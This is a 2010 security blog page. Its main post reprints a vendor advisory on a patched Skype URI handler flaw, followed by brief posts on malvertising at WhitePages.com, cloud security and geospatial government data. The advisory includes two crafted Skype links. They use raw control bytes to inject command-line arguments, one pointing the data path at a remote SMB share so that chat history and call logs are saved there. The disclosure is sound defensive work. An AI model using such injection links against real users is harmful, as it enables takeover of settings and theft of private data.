Skype Vulnerability Discovered/Patched

March 12th, 2010
by admin

Skype URI Handler Input Validation
Versions affected: All versions prior to 4.2.0.1.55 (v4.2 hotfix #1)

+———–+
|Description|
+———–+

The Windows Skype client implements two URI handlers, Skype: and Skype-Plugin.
Both handlers allow for easy browser integration and are supported by all modern browsers. When a Skype link is clicked, the Skype.exe process is spawned with the “/URI:%1″ command argument, followed by the user specified phone number or contact name. For example, clicking the link:
Skype:PaulCraig will spawn the process Skype.exe “/URI:Skype:PaulCraig“

Due to a flaw in the current user input validation performed by Skype, it is possible to append additional command line arguments which are subsequently processed during the launch of Skype.exe.

In 2006 colleague Brett Moore, discovered a similar vulnerability in Skype which led to certain security restrictions being enforced when using the
Skype: URI handler. Brett’s exploit at the time involved including additional command line arguments to the Skype.exe process which would send a file to a remote user when a Skype link was clicked.
Changes were made to Skype to remove available command line arguments when the /URI argument is present, and to resolve the discovered injection vulnerability.

Although many of the useful arguments have been disallowed, Security-Assessment.com found that the /Datapath argument can be included and directed to a remote SMB share directly through a specially crafted Skype URI.

The Datapath argument specifies the location of the Skype configuration files and security policy. Specifying a Datapath argument will override any local security policy defined in the Windows registry.

A remote user is capable of crafting a link that when clicked, will spawn Skype.exe on a client using a Datapath location which is present on a remote SMB share. The Skype client will load any configuration or security policy present, and save the users Skype account information to the remote share.

This allows a remote user to control the Skype configuration and security policy of the local client instance of Skype. Settings such as a remote proxy can be defined, which could be used to Man in The Middle Skype communications.

Security-Assessment.com also found that the contents of another user’s Datapath contained a wealth of private information and call history associated with the
user.

+————+
|Exploitation|
+————+

Exploitation occurs when the victim clicks a malformed Skype link in Internet Explorer (6,7 or 8) or Chrome.
The exploit originates from a failure to sanitise raw binary content correctly and the ability of ShellExecute() to permit URIs which contain raw binary values.

Security-Assessment.com found that the Skype: URI handler permits the double quote and forward slash (“ and /) characters within a Skype URI, but does not permit any whitespace characters (such as space, %20, +) to be included. This essentially protects Skype from a user inserting additional command line arguments directly within a Skype: link, as a command line argument separator character (whitespace) cannot be included.

However, the use of a raw binary byte is permitted by Skype and the byte is Subsequently treated as a whitespace value when parsing Skype.exe command line arguments. This provides a whitespace character, without being a traditional whitespace. This method of whitespace character injection can be used to include additional command line arguments to the Skype.exe process.

The example below illustrates this.

<a href=skype:A”0×01/secondary0×01/datapath:”\\remotehost\share\exploit>Click Me</a> Where 0×01 represents the RAW binary byte value 0×01. (not the string 0×01!)

This URL will result in the Skype configuration being retrieved from the remote host ‘remotehost’. Once a user has authenticated using Skype, the Skype client will download their chat history and call logs to the remote share.
It is important to note that the users authentication details (if saved) are saved encrypted using the Skype protected storage key.

Other arguments such as /username and /password can also be included using the same method of whitespace injection. This is illustrated below.

<a href=skype:A”0×01/secondary0×01/username:”test”0×01/password:”test>Click Me</a>

The bytes 0×01-0×07 were found to function as a replacement for a whitespace character.

+——–+
|Solution|
+——–+

Skype have created a fix for this vulnerability which has been included as part of Skype v4.2 hotfix #1.

Security-Assessment.com recommends all users of Skype upgrade to the latest version as soon as possible. For more information on the new release of Skype please refer to the release notes:

http://share.skype.com/sites/garage/2010/03/10/ReleaseNotes_4.2.0.155.pdf

+——+
|Credit|
+——+

Discovered and advised to Skype February 2010 by Paul Craig of Security-Assessment.com.
Contact: paul.craig</at\>security-assessment.com

For a PDF version of this advisory please refer to our website:

http://security-assessment.com/files/advisories/Skype_URI_Handling_Vulnerability.pdf

+———+
|Greetings|
+———+

Big shouts to all past and present Security-Assessment.com crew Including, but not limited to : krusher, eon, headhntr, antic0de, ddz, vt, nick “VD”, tmasky, sham, Metlstorm, fosm.

Posted in Vulnerabilities | Comments (2)

Whitepages.com and Drudge Report/Senate Security Issues

March 11th, 2010
by admin

Message: 1
Date: Thu, 11 Mar 2010 00:20:57 -0600 (CST)
From: InfoSec News <alerts@infosecnews.org>
Subject: [ISN] WhitePages.com halts ad networks over malware
To: isn@infosecnews.org
Message-ID:
<Pine.LNX.4.61.1003110020480.29652@conundrum.infosecnews.org>
Content-Type: TEXT/PLAIN; charset=US-ASCII

http://news.cnet.com/8301-27080_3-10466753-245.html

By Elinor Mills
InSecurity Complex
CNet News
March 10, 2010

WhitePages.com has stopped ad networks from delivering ads to its site after they were found to contain fake antivirus malware.

“On Monday morning WhitePages received reports from users [about] malware in the form of a fake antivirus upsell program that we believe originated (against our terms) from a third-party advertising network serving ads on our website, in addition to other websites,” a WhitePages spokeswoman said in an e-mail late Tuesday.

“We immediately suspended the networks in question at which time the reports from users subsided,” she wrote. “We are working diligently to prevent this from happening in the future.”

A representative for the Senate’s Committee on Environment and Public Works said on Tuesday that officials were looking at WhitePages.com and Drudge Report as possible sources of malware that had affected Senate computers the day before.

Matt Drudge denied the accusation on his site and accused the committee of politicking. But several CNET readers reported that they too had been hit with the malware when they visited the Drudge Report Web site, a conservative news aggregator that sometimes authors stories too.

[...]

Posted in Malware, Security | Comments (1)

Cloud Computing Dependent on Security

March 10th, 2010
by admin

The move to cloud computing is ‘inevitable,’ RSA’s Coviello says

SAN FRANCISCO — Cloud computing has the ability to complete the transformation of information technology that was started by the Internet, but its success depends on security, Art Coviello, president of RSA, the Security Division of EMC, said Tuesday in his opening keynote of the RSA Security Conference.

“The journey to the cloud is inevitable, and we are going to have to secure it,” he said.

Cloud computing has the ability “to make sweeping changes in the infrastructure,” by freeing organizations of the need to spend two-thirds of their IT budgets on basic expenses. Instead, they can invest in resources on-demand, he said. “But we have to be careful we don’t end up in security hell.” Read the rest of this entry »

Tags:
Posted in Security | Comments (1)

Geospatial Potential Killer App

March 10th, 2010
by admin

If the idea of government 2.0 revolves around using government information as a platform for enabling public discourse, then geospatial technologies are one of the killer apps, Jack Dangermond , president of ESRI, said today at the Gov 2.0 Summit in Washington.

Maps and geospatial information systems are becoming richer, smarter, and more pervasive, Dangermond said, but government agencies still need to do more to convert data into services that can populate mapping applications.

There is still a barrier between FTP data sets and government sites that make data available as a service, he said.

“What’s behind maps are geographic data sets that can be ‘server-ized,’ or turned into services,” Dangermond said. “That could introduce a whole new wave of applications; where tabular data will be geo-coded, and where the map interface will become what might be the killer app of Gov 2.0.”

During Hurricane Katrina four years ago, “it took weeks to bring all the data together” to assess its impact on property and infrastructure, he said. “Had we had the services we have today, we could have had that information within hours.”

Dangermond said mapping technologies have evolved beyond marrying maps with information. “This isn’t so much about maps but about spatial analysis,” he said.

Adding to the discussion on mapping was Robert Greenberg, chief executive of G&H International Services, who described the evolution of Virtual USA, a geospatial emergency management tool being developed by the Homeland Security Department’s Science and Technology Directorate.

The initiative builds on work pioneered by Virtual Alabama, which aggregates and integrates property and infrastructure data in a visualization tool by using Google Earth Enterprise. The initiative also relies on the work of Virginia’s Virginia Interoperability Picture for Emergency Response (VIPER) system, which uses an ESRI geospatial platform.

Read More…

Tags: ,
Posted in Geospatial | Comments (0)

1 visitors online now
1 guests, 0 members
Max visitors today: 1 at 12:21 am UTC
This month: 5 at 09-01-2010 07:59 am UTC
This year: 18 at 04-21-2010 08:26 pm UTC
All time: 18 at 04-21-2010 08:26 pm UTC